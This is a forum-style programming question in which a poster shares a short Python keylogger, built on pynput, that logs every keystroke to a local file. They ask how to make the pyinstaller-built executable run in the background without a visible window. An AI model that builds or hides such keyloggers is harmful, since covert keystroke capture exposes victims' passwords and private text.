I am running python 3.6 and i made a keylogger to test on my VM. I converted the keylogger to an executable using pyinstaller. The keylogger works great but, when i run it, it opens a black window and when i close it, it stops the program. I want to have it so I can run the executable in the background.
EDIT: I am using Windows 10
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.